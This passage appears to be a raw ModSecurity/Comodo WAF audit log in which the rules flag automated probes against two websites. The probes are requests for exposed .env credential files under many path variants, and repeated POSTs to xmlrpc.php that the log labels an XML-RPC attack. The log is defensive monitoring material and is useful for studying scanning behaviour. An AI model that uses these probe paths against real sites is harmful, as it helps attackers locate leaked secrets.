--694cdc0a-Z-- --5fc01f5f-A-- [16/Jun/2025:02:42:51.450634 +0530] aE83UlfWRcme38U-qk7qywAAAAI 128.199.112.101 40018 127.0.0.1 7081 --5fc01f5f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5fc01f5f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5fc01f5f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE83UlfWRcme38U-qk7qywAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021970541218 909473 (- - -) Stopwatch2: 1750021970541218 909473; combined=2250, p1=408, p2=1472, p3=40, p4=63, p5=166, sr=123, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5fc01f5f-Z-- --f898f527-A-- [16/Jun/2025:02:43:07.618790 +0530] aE83YlfWRcme38U-qk7q1gAAAAI 185.177.72.210 58208 127.0.0.1 7081 --f898f527-B-- GET /.env.旧 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f898f527-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2eed4873d30834eb97759c096a28611a1750021987; expires=Sun, 15 Jun 2025 22:13:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f898f527-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe6\\\\x97\\\\xa7"] [unique_id "aE83YlfWRcme38U-qk7q1gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021986946804 672085 (- - -) Stopwatch2: 1750021986946804 672085; combined=1948, p1=375, p2=1483, p3=0, p4=0, p5=90, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f898f527-Z-- --140fe34b-A-- [16/Jun/2025:02:43:13.772158 +0530] aE83aYl8S04UZ4l67-nbQQAAAAk 185.177.72.210 41994 127.0.0.1 7081 --140fe34b-B-- GET /old/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --140fe34b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7b092317d44c5e239de621c65a98cf571750021993; expires=Sun, 15 Jun 2025 22:13:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --140fe34b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.prod"] [unique_id "aE83aYl8S04UZ4l67-nbQQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021993019180 753040 (- - -) Stopwatch2: 1750021993019180 753040; combined=1632, p1=365, p2=1179, p3=0, p4=0, p5=87, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --140fe34b-Z-- --0ea90a59-A-- [16/Jun/2025:02:43:16.784389 +0530] aE83bNxCjYf3vhjKXItxhgAAAA8 185.177.72.210 42134 127.0.0.1 7081 --0ea90a59-B-- GET /:9000/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0ea90a59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dc6f1ac2c84d30cb86179aa3b60bb02b1750021996; expires=Sun, 15 Jun 2025 22:13:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0ea90a59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/configurationtionura/.env"] [unique_id "aE83bNxCjYf3vhjKXItxhgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021996111348 673142 (- - -) Stopwatch2: 1750021996111348 673142; combined=1714, p1=373, p2=1244, p3=0, p4=0, p5=96, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ea90a59-Z-- --21988f28-A-- [16/Jun/2025:02:43:17.821013 +0530] aE83bYv0YhcYGG7mzIpoigAAABU 185.177.72.210 42156 127.0.0.1 7081 --21988f28-B-- GET /:8443/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21988f28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=910afd8a6e89d51714655cacb8b0ae791750021997; expires=Sun, 15 Jun 2025 22:13:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21988f28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/storage/.env"] [unique_id "aE83bYv0YhcYGG7mzIpoigAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021997108892 712197 (- - -) Stopwatch2: 1750021997108892 712197; combined=1926, p1=393, p2=1439, p3=0, p4=0, p5=93, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21988f28-Z-- --63347822-A-- [16/Jun/2025:02:43:20.013441 +0530] aE83b4v0YhcYGG7mzIpoiwAAABU 185.177.72.210 52544 127.0.0.1 7081 --63347822-B-- GET /:9000/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63347822-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d320acd37ad6daa37b270dca45c11eb1750021999; expires=Sun, 15 Jun 2025 22:13:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63347822-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/django_project_path/.env"] [unique_id "aE83b4v0YhcYGG7mzIpoiwAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021999358079 655436 (- - -) Stopwatch2: 1750021999358079 655436; combined=1887, p1=407, p2=1390, p3=0, p4=0, p5=89, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63347822-Z-- --f7111b17-A-- [16/Jun/2025:02:43:37.356104 +0530] aE83gIv0YhcYGG7mzIpolgAAABU 185.177.72.210 54930 127.0.0.1 7081 --f7111b17-B-- GET /media/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f7111b17-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d8ac543b7ac1c00e893e4e59f1a54e041750022017; expires=Sun, 15 Jun 2025 22:13:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f7111b17-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/media/.env"] [unique_id "aE83gIv0YhcYGG7mzIpolgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022016706326 649863 (- - -) Stopwatch2: 1750022016706326 649863; combined=1785, p1=356, p2=1336, p3=0, p4=0, p5=93, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f7111b17-Z-- --d342da78-A-- [16/Jun/2025:02:43:37.682129 +0530] aE83gWBSQiWwwCa-v2QFIAAAAAQ 185.177.72.210 55042 127.0.0.1 7081 --d342da78-B-- GET /cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d342da78-F-- HTTP/1.1 404 Not Found Last-Modified: Tue, 03 Sep 2024 13:22:32 GMT ETag: "328-62136f33606a0" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --d342da78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cgi-bin/.env"] [unique_id "aE83gWBSQiWwwCa-v2QFIAAAAAQ"] Apache-Error: [file "mod_cgid.c"] [line 1079] [level 3] AH01264: script not found or unable to stat: /usr/lib/cgi-bin/.env Stopwatch: 1750022017678984 3210 (- - -) Stopwatch2: 1750022017678984 3210; combined=1875, p1=379, p2=1433, p3=0, p4=0, p5=63, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d342da78-Z-- --b2b77631-A-- [16/Jun/2025:02:43:51.112188 +0530] aE83jiHEjD4mqWjYVm16ewAAABM 128.199.112.101 44768 127.0.0.1 7081 --b2b77631-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b2b77631-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b2b77631-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE83jiHEjD4mqWjYVm16ewAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022030136604 975649 (- - -) Stopwatch2: 1750022030136604 975649; combined=2777, p1=499, p2=1902, p3=42, p4=63, p5=169, sr=139, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2b77631-Z-- --10367c4d-A-- [16/Jun/2025:02:43:57.080708 +0530] aE83lDW73rwPI0SU-ijxRQAAAAA 185.177.72.210 45018 127.0.0.1 7081 --10367c4d-B-- GET /:8888/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --10367c4d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=76ca77251057beab8d3ada64481414dd1750022036; expires=Sun, 15 Jun 2025 22:13:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --10367c4d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/audio/.env"] [unique_id "aE83lDW73rwPI0SU-ijxRQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022036254149 826622 (- - -) Stopwatch2: 1750022036254149 826622; combined=1972, p1=413, p2=1446, p3=0, p4=0, p5=113, sr=125, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --10367c4d-Z-- --b9cb327a-A-- [16/Jun/2025:02:44:11.146782 +0530] aE83onwizUED0-SK4eRKTAAAAAE 185.177.72.210 59236 127.0.0.1 7081 --b9cb327a-B-- GET /bak/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b9cb327a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=96505ea474d501b8ea50d7e69b274d1a1750022051; expires=Sun, 15 Jun 2025 22:14:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b9cb327a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.test"] [unique_id "aE83onwizUED0-SK4eRKTAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022050488943 657925 (- - -) Stopwatch2: 1750022050488943 657925; combined=1976, p1=399, p2=1470, p3=0, p4=0, p5=106, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9cb327a-Z-- --ced8e75f-A-- [16/Jun/2025:02:44:41.664307 +0530] aE83wM0RsCO0eBtdhx7B1AAAAAg 185.177.72.210 59814 127.0.0.1 7081 --ced8e75f-B-- GET /:5601/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ced8e75f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3209078c16d02232c054fd7b0136ad031750022081; expires=Sun, 15 Jun 2025 22:14:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ced8e75f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/cgi-bin/.env"] [unique_id "aE83wM0RsCO0eBtdhx7B1AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022080993146 671245 (- - -) Stopwatch2: 1750022080993146 671245; combined=1805, p1=336, p2=1371, p3=0, p4=0, p5=97, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ced8e75f-Z-- --5a1c9f6a-A-- [16/Jun/2025:02:44:45.995681 +0530] aE83xU-pZ3B--SoGku87EgAAABE 185.177.72.210 59934 127.0.0.1 7081 --5a1c9f6a-B-- GET /front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5a1c9f6a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5bb5f3b1f80308a762b843918ce3b1601750022085; expires=Sun, 15 Jun 2025 22:14:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5a1c9f6a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/front/.env"] [unique_id "aE83xU-pZ3B--SoGku87EgAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022085364403 631365 (- - -) Stopwatch2: 1750022085364403 631365; combined=1641, p1=357, p2=1184, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a1c9f6a-Z-- --4b1d0e2d-A-- [16/Jun/2025:02:44:51.043032 +0530] aE83ys0RsCO0eBtdhx7B1wAAAAg 128.199.112.101 39114 127.0.0.1 7081 --4b1d0e2d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4b1d0e2d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4b1d0e2d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE83ys0RsCO0eBtdhx7B1wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022090027924 1015176 (- - -) Stopwatch2: 1750022090027924 1015176; combined=2766, 